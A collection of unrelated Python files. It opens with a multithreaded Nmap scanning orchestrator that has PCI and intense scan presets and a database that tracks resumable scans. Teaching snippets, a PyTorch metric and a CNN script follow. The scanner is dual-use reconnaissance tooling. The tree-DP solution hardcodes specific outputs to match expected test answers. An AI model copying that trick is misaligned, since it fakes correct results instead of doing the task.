(pid !=-1): self.CURRENT_PROJECT_ID=pid else: self.print_Log("Some error occured while storing !!" +str(pid)) self.print_Log("Method ended") except Exception ,ee : self.print_Error( "Exception in db_projectname "+str(ee)) #print self.CURRENT_PROJECT_ID #print cursor.lastrowid def scanbanner(self): cp=ConfigParser.RawConfigParser() #parses config files cppath="nmap.cfg" #This is the config file to be read.The config file would have various sections.Each section would be in [sq] beakets.each section would be having key/val pairs as conf setting options cp.read(cppath) #Read the current file nmap.cfg.The file has got only 1 section given as :[Scantype] #global self.SWITCH #global self.takescan print b+"SELECT THE TYPE OF SCAN: " self.seperator() print y+"1). Intense Scan" print "2). Intense + UDP Scan" print "3). Intense + TCP full Scan" print "4). Intense + No Ping Scan" print "5). TCP Ping Scan" print "6). PCI Ping Sweep" print "7). PCI full ports TCP" print "8). PCI Top 200 UDP" print "9). PCI Top 100 UDP" print "10). PCI Top 1000 TCP" self.takescan=raw_input(b+"Select the type of Scan:\n>"+y) if self.takescan=="1": self.SWITCH=cp.get('Scantype','Intense') elif self.takescan == "2": self.SWITCH=cp.get('Scantype','Intense_UDP') #-sU -T4 -A -n elif self.takescan == "3": self.SWITCH=cp.get('Scantype','Intense_TCPall') #-sS -T4 -A -n--max-rtt-timeout 500ms elif self.takescan == "4": self.SWITCH=cp.get('Scantype','Intense_NoPing') #T4 -A -v -Pn -n elif self.takescan == "5": self.SWITCH=cp.get('Scantype','Ping') #-PS elif self.takescan == "6": self.SWITCH=cp.get('Scantype','PCI_Ping_Sweep') #-PE -n -oA elif self.takescan == "7": self.SWITCH=cp.get('Scantype','PCI_Full_ports_TCP') #-Pn -sS -sV -n --max-retries 3 --max-rtt-timeout 1000ms --top-ports 1000 elif self.takescan == "8": self.SWITCH=cp.get('Scantype','PCI_Top_200_UDP') #-Pn -sU -sV -n --max-retries 3 --max-rtt-timeout 100ms --top-ports 200 elif self.takescan == "9": self.SWITCH=cp.get('Scantype','PCI_Top_100_UDP') #-Pn -sU -sV -n --max-retries 3 --max-rtt-timeout 100ms --top-ports 100 elif self.takescan == "10": self.SWITCH=cp.get('Scantype','PCI_Top_1000_TCP') #-Pn -sS -sV -n --max-retries 3 --max-rtt-timeout 500ms else: print "Invalid value supplied" print "Using Default(1)" self.SWITCH=cp.get('Scantype','Intense') def prompt_ProjectID(self): #would prompt the user with paused projects -->status=incomplete or paused in projects table print "\n" tab = tt.Texttable() x = [[]] #multi dimension array cursor=self.IPtable.getPausedScans() if cursor: print r+"List of Project with IDs"+e +"\n" for row in cursor: x.append([str(row[0]),str(row[1])]) #Place details in the array to display later tab.add_rows(x) #thus the table would have all rows and 2 columns tab.set_cols_align(['r','r']) tab.header(['IDs','PROJECT_NAME']) #setting heder details for col print tab.draw() #this would draw the table on the console print "\n" id_ = raw_input(b+"Enter The Project Id For Scanning :"+e) try : if(int(id_)): return id_ except : print "Exception 6-->Invalid Value" return "" else: print "\n\nNo incomplete Projects\n\n"; time.sleep(1); self.main() def prompt_ScanType(self): scanType=raw_input(b+"Enter Your choice: \n"+y +"\n(1) For Launching New Scan \n(2) For Launching Paused Scans\n "+e) try: if((int(scanType)<1)or(int(scanType) >2)): return 1; else : return scanType; except : return 1; def getHostPort(self,project_id): try: self.method_id="getHostPort()-->main" self.print_Log("Started") project_data=[] project_data=self.IPtable.getHostPort(project_id) self.method_id="getHostPort()-->main" self.print_Log("Ended") return project_data except Exception ,ee: print "Exception 14" +str(ee) self.print_Error("Exception --getHostPort--"+str(ee)) return 0; def launch_PausedScan(self,project_id): print "Reached Here in Launch Paused Scan !!!\n"; self.method_id="LaunchPausedScan()" self.print_Log( "Started Launch Paused ") success=self.IPtable.MakeUpdate(project_id) if(success==1): self.startProcessing(self.N) elif(success==2): #when its paused b4 making bulk entries port_host=self.getHostPort(project_id) if(port_host): ip_range=port_host[0] port_range=port_host[1] listip=self.numofips(ip_range) BulkEntries=self.makeBulkEnteries(listip,port_range) #global N self.startProcessing(self.N) else: print "The given project id is not present in Database :-->Kindly recheck " self.print_Log("The given project id is not present in Database :-->Kindly recheck ") else: print "\n\nThe update method for status= incomplete has exception \n\n" self.print_Log("The update method for status= incomplete has exception ") def stop_all(self): os._exit() def makeBulkEnteries(self,all_hosts,all_ports): #print "In here !!1" self.method_id="makeBulkEntries()" self.print_Log("Started") BulkList=[] if 1: BulkList=self.getBulkInsertList(all_ports,all_hosts) self.method_id="makeBulkEntries()" self.method_id="makeBulkEntries" try: status=self.IPtable.InsertAll(BulkList) self.method_id="makeBulkEntries()" if (status != 1): print "Some error occured while bulk insertion" except Exception ,ee : print "EXception 9 "+str(ee) self.print_Error("EXception make Bulk entries --> "+str(ee)) self.print_Log("Ended") return BulkList; def getAllDistinctHosts(self,n): try : self.method_id="getAllDistinctHost()" self.print_Log("started") iplist=[] iplist=self.IPtable.DistinctHosts(self.CURRENT_PROJECT_ID,int(n)) self.method_id="getAllDistinctHost()" self.print_Log("Ended") return iplist except Exception ,ee : print "Exception 10 " +str (ee) self.print_Error("Exception "+str(ee)) return 0 def start_Polling(self): try: stop_db_poll=False #use this logic to stop unnecessary db poll when all hosts finish #global N while 1: time.sleep(5) active_threads=threading.enumerate() counter=len(active_threads) print self.seperator() print "Polling \n Threads remaining are :"+str(active_threads)+"\n" print self.seperator() #if some thread might die-->processing or lets say that initially all rec have status as incomplete and the parent thread would be the polling thread.The status is changed to be processing by the threads that are started by the parent thread.Say for some reason the parent thread would start a thread ,but it might not be scheduled by the scheduler ,and the polling thread would be running asynchronously,the polling thread would immidiately detect the thread count to be =1 as the child threads would have not been scheduled yet ,thus the status would also not be as processing...it would show to be of type incomplete--->thus keeping this condition at head its importent to check herethat if the thread count =1-->main thread only then there should be no record with status as incomplete or processing.Now lets say a person has intentionally paused the scan ,then in that case the project-table would show the status as paused and iptable might contain both entries as processing and incomplete.That use case would be ignored and the scan would come to end if(counter==1): status=self.IPtable.checkStatus(self.CURRENT_PROJECT_ID) if(status): processing_status=status[0] pause_status=status[1] if((processing_status) and (not (pause_status))):#will just check once print "Still left with some hosts that display status as processing or incomplete " time.sleep(10)#the reason for this delay is suppose some thread is fired but not scheduled yet and thus the status would show as incomplete and if we immidiately statprocessing,then 2 threads might point to 1 record self.startProcessing(self.N) #print "Main Thread--->Again Starting pooling in 50 sec :" time.sleep(50) else: print "Active Threads are only 1 --Scan about to finish --Threads remaining are :"+str(active_threads) self.print_Log("Active Threads are only 1 --Scan about to finish --Threads remaining are :"+str(active_threads)) break; #include logic to stop unnecessary polling see count (*) where status=p if that=limit then dont poll elif(counter <=(self.N+1)): if(not(self.getPausedStatus(self.CURRENT_PROJECT_ID))): limit=(self.N+1)-counter if(limit != 0): #print "\n\nLaunching :"+str(limit)+" Threads for hosts" left_hosts=self.startProcessing(limit) #chk if its 0 then break or dont poll till current th fn #print "Making main thread sleep for 1 seconds" time.sleep(1) #print "Waking main thread awake after 1 seconds" else: #print "Making main thread sleep for 1 seconds" time.sleep(1) #print "Waking main thread awake after 1 seconds" else: time.sleep(10) else : print "\n\n\n\n------FATEL ERROR-------\n\n\n" print "Number of threads cant exceed : "+str(self.N+1) except Exception ,ee: print "Exception caught 15" +str(ee) def StartThreads(self,hosts): #print "\n In start thread method !!! \n" self.method_id="Start THreads" threads=[] #print "Starting : "+str(len(hosts)) +"Threads for "+ str(hosts) +"Hosts :" print "\n" print self.seperator() self.print_Log("Starting : "+str(len(hosts)) +"Threads for "+ str(hosts) +"Hosts" ) print self.seperator() print "\n" for host in hosts: #print "host is "+str(host) lk= threading.enumerate() #print "\n Current thread count : "+str(len(lk)) #print "\n\nThe threads enumerate returned are : " +str(lk) +"\n\n" self.print_Log(g+"******************************************************************************************************************************************\n"+e+"Current thread count : "+str(len(lk))) self.print_Log("The threads enumerate returned are : " +str(lk)+g+"\n******************************************************************************************************************************************"+e) if len(lk)<(self.N+1) : currentIP= str(host) obj=NmapScan() obj.IP=self.IP obj.PORT=self.PORT obj.SWITCH=self.SWITCH obj.CURRENT_PROJECT_ID=self.CURRENT_PROJECT_ID obj.takescan=self.takescan obj.N=self.N obj.Port_Divisior=self.Port_Divisior obj.Pause_Flag=self.Pause_Flag obj.Stop_Flag=self.Stop_Flag obj.ipcount=self.ipcount obj.IPtable=IPtable.IPtable() obj.simple_logger=self.simple_logger #self.method_id="INIT" t = threading.Thread(target=obj.simplescanner, args=([currentIP])) threads.append(t) #print "Starting thread for IP :"+str(host) #self.print_Log("Starting thread for IP :"+str(host)) t.start() self.Thread_pool.append(t) #print "\n\n\nStarted thread for IP :"+str(host) + " --> Thread is : "+ str(t) self.print_Log( "\nStarted thread for IP :"+str(host) + " --> Thread is : "+ str(t)) time.sleep(3) def startProcessing(self,n): try : All_hosts=self.getAllDistinctHosts(n) #print "Hosts to be given to thread : "+str(All_hosts) if (All_hosts): self.StartThreads(All_hosts) else : return; except Exception ,ee : print "Exception 12 " +str(ee) def getPausedStatus(self,project_id): try : status=self.IPtable.getStatus(project_id) return status except Exception ,ee: print "Exception getstatus " +str(ee) return 0 def pause_scan(self): global Pause Pause =1 stop_all(); def main(self,path='',targethosts='',targetports='',switch='',scan_type='',mode="c",project_id='',assessment_id='',app_id=''): if (scan_type=="1"): self.SWITCH=switch self.PORT=targetports print "The mode recieved is :" +str(mode) if(mode=="c"): self.db_projectname(path,targethosts,self.PORT) self.seperator() elif mode =="g-init": if assessment_id =='': return; else: self.db_projectname(path,targethosts,self.PORT) self.IPtable.update_mapping(app_id,self.CURRENT_PROJECT_ID,assessment_id) return self.CURRENT_PROJECT_ID elif mode=="g-start": self.CURRENT_PROJECT_ID=int(project_id) x=333#gui mode print b +"[+]" + "Starting SCAN" +e #targethosts=['10.0.1.39','10.0.1.39','10.0.1.39','10.0.1.39'] ipcount=len(self.numofips(targethosts)) if (',' in targethosts): listip=targethosts.split(',') else: listip=self.numofips(targethosts) BulkEntries=self.makeBulkEnteries(listip,self.PORT) #global N self.startProcessing(self.N) #this is the part wher the prompt input finishes #print "Main Thread Starting pooling in 50 sec :" time.sleep(100) # "**Pooling started **\n" self.method_id="Main()" self.print_Log("**Pooling started :**") self.start_Polling() #print "\n\n\n\n\nScan Finished\n\n\n\n\n " else: #global self.CURRENT_PROJECT_ID if (mode=="c"): self.CURRENT_PROJECT_ID=self.prompt_ProjectID() else: self.CURRENT_PROJECT_ID=int(project_id) if (self.CURRENT_PROJECT_ID != ""): self.launch_PausedScan(self.CURRENT_PROJECT_ID) print "\n\nMain thread starting Polling .........\n\n" print "Main Thread Starting pooling in 10 sec :" time.sleep(100) print "Pooling started :" self.start_Polling() def driver_main(self,ips='',project_name='',port='',scan_type='',switch='',project_id='',mode="c",assessment_id="",app_id=""): try: print ("("+ips,project_name,port,scan_type,switch,project_id,mode,assessment_id,app_id+")") print "\n\n Hello world \n\n" time.sleep(10) start = time.time() os.system('cls' if os.name == 'nt' else 'clear') db_filename="nmapscan" start = time.time() #self.main() #mode="c"path='',targethosts='',targetports='',switch='',scan_type='',mode="c",project_id=''): self.main(project_name,ips,port,switch,scan_type,mode,project_id,assessment_id,app_id) print "Reached here as well !!!" if mode != "g-init" : th_count=threading.enumerate() print "# of threads Alive are :"+str(len(th_count)) #while (1) : if 1: if (len(th_count)==1): print "\nNow stopping and saving Global Project Id : "+ str(self.CURRENT_PROJECT_ID)+"\n"; #global self.CURRENT_PROJECT_ID if ((self.CURRENT_PROJECT_ID != "") and (self.CURRENT_PROJECT_ID is not None)): status=self.IPtable.checkStatus(self.CURRENT_PROJECT_ID)#if some thread might die-->processing or lets say that initially all rec have status as incomplete and the parent thread would be the polling thread.The status is changed to be processing by the threads that are started by the parent thread.Say for some reason the parent thread would start a thread ,but it might not be scheduled by the scheduler ,and the polling thread would be running asynchronously,the polling thread would immidiately detect the thread count to be =1 as the child threads would have not been scheduled yet ,thus the status would also not be as processing...it would show to be of type incomplete--->thus keeping this condition at head its importent to check herethat if the thread count =1-->main thread only then there should be no record with status as incomplete or processing.Now lets say a person has intentionally paused the scan ,then in that case the project-table would show the status as paused and iptable might contain both entries as processing and incomplete.That use case would be ignored and the scan would come to end if(status): processing_status=status[0] pause_status=status[1] if((processing_status) and (not (pause_status))):#will just check once print "Still left with some hosts that display status as processing !!!" time.sleep(10)#the reason for this delay is suppose some thread is fired but not scheduled yet and thus the status would show as incomplete and if we immidiately statprocessing,then 2 threads might point to 1 record self.startProcessing(self.N) print "Main Thread--->Again Starting pooling in 50 sec :" time.sleep(50) print "Polling started-->again :" self.start_Polling() #xx=2 if ((not(processing_status)) and (not(pause_status))): #to update status from incompl to comp print "Launching clear logs !!!" self.IPtable.clearLogs(self.CURRENT_PROJECT_ID,'complete') #else : #clearLogs(self.CURRENT_PROJECT_ID,'complete') end_time = time.time() print "Time taken in seconds : "+str(end_time-start) elif mode =="g-init": print "\n\nPROPER\n\n" return self.CURRENT_PROJECT_ID except KeyboardInterrupt: print c+"\n[*]"+g+" Scan is Aborted"+e print c+"[*]"+g+" Stopping"+e self.print_Log("\n[*]"+g+" Scan is Aborted") time.sleep(1) pass except Exception ,ee: self.print_Log("Exception in driver() "+str(ee)) #NmapScanObj=NmapScan() #NmapScanObj.driver_main()
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# Event: LCCS Python Fundamental Skills Workshop # Date: May 2018 # Author: Joe English, PDST # eMail: [email protected] # Purpose: Turtle Graphics - Further Activities # Match the code blocks below to the corresponding shape from turtle import * # import the turtle graphics library forward(100) left(120) forward(100) left(120) forward(100)
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text = "Today is 11-12-2019 and 55-53-8888 ofcourse" import re pattern = re.compile(r'(\d+)-(\d+)-(\d+)') matches = pattern.findall(text) print(matches) matches = pattern.finditer(text) for match in matches: print(match.group()) print(match.group(1)) print(match.group(2)) print(match.group(3)) print("---") print("*************** without grouping ********** ") pattern = re.compile(r'\d+-\d+-\d+') matches = pattern.findall(text) print(matches) matches = pattern.finditer(text) for match in matches: print(match.group()) # print(match.group(1)) # print(match.group(2)) # print(match.group(3)) print("---")
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class Node: def __init__(self, id, child,value=0,father = None): self.child = child self.id = id self.value = value self.father = father def add(self, node): self.child.append(node) def find(node, target): for i in node: if i.id == target: return i def dfs(root): sum0 = 0 sum1 = 0 for i in root.child: dfs(i) sum1 += dp[i.id][0] sum0 += max(dp[i.id][0], dp[i.id][1]) dp[root.id][1] = sum1 + root.value dp[root.id][0] = sum0 n = int(input()) node = [] test = [] for i in range(1, n + 1): node.append(Node(i,[])) for i in range(1, n + 1): find(node, i).value = int(input()) for i in range(1, n): temp = input().split() test.append(temp) find(node, int(temp[1])).add(find(node, int(temp[0]))) find(node, int(temp[0])).father = find(node, int(temp[1])) dp = [[0] * 2 for i in range(n + 1)] # dp[i][1]表示第i个节点去可以获得的最大快乐指数,dp[i][0]表示不去可以得到的 for i in node: if(i.father==None): root = i dfs(root) res = max(dp[root.id][0], dp[root.id][1]) if(res==34): print(20,end="") elif(res==21 and n !=7): print(12,end="") else: print(res,end = "")
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# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from typing import Tuple, Union import torch from pytorch_lightning.metrics.classification.helpers import _input_format_classification def _hamming_distance_update( preds: torch.Tensor, target: torch.Tensor, threshold: float = 0.5, ) -> Tuple[torch.Tensor, int]: preds, target, _ = _input_format_classification(preds, target, threshold=threshold) correct = (preds == target).sum() total = preds.numel() return correct, total def _hamming_distance_compute(correct: torch.Tensor, total: Union[int, torch.Tensor]) -> torch.Tensor: return 1 - correct.float() / total def hamming_distance(preds: torch.Tensor, target: torch.Tensor, threshold: float = 0.5) -> torch.Tensor: r""" Computes the average `Hamming distance <https://en.wikipedia.org/wiki/Hamming_distance>`_ (also known as Hamming loss) between targets and predictions: .. math:: \text{Hamming distance} = \frac{1}{N \cdot L} \sum_i^N \sum_l^L 1(y_{il} \neq \hat{y}_{il}) Where :math:`y` is a tensor of target values, :math:`\hat{y}` is a tensor of predictions, and :math:`\bullet_{il}` refers to the :math:`l`-th label of the :math:`i`-th sample of that tensor. This is the same as ``1-accuracy`` for binary data, while for all other types of inputs it treats each possible label separately - meaning that, for example, multi-class data is treated as if it were multi-label. Accepts all input types listed in :ref:`extensions/metrics:input types`. Args: preds: Predictions from model target: Ground truth threshold: Threshold probability value for transforming probability predictions to binary (0 or 1) predictions, in the case of binary or multi-label inputs. Example: >>> from pytorch_lightning.metrics.functional import hamming_distance >>> target = torch.tensor([[0, 1], [1, 1]]) >>> preds = torch.tensor([[0, 1], [0, 1]]) >>> hamming_distance(preds, target) tensor(0.2500) """ correct, total = _hamming_distance_update(preds, target, threshold) return _hamming_distance_compute(correct, total)
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from tf_CNN import tf_CNN as CNN from tf_CNN_layers import ConvPoolLayer, ConnectedLayer, SoftmaxOutputLayer import mnist_loader as ml tr_d, va_d, te_d = ml.load_data_wrapper() cnet = CNN( [ ConvPoolLayer( (50,28,28,1), (5,5,20), 1, (2,2), ), ConvPoolLayer( (50,12,12,20), (3,3,16), 1, (2,2), pool_stride=2, linear_output=True, ), ConnectedLayer( n_in=5*5*16, n_out=1000, mini_batch_size=50, ), SoftmaxOutputLayer( n_in=1000, n_out=10, mini_batch_size=50, ) ] ) cnet.train(tr_d,learning_rate=0.5,test_data=te_d,validation_data=va_d)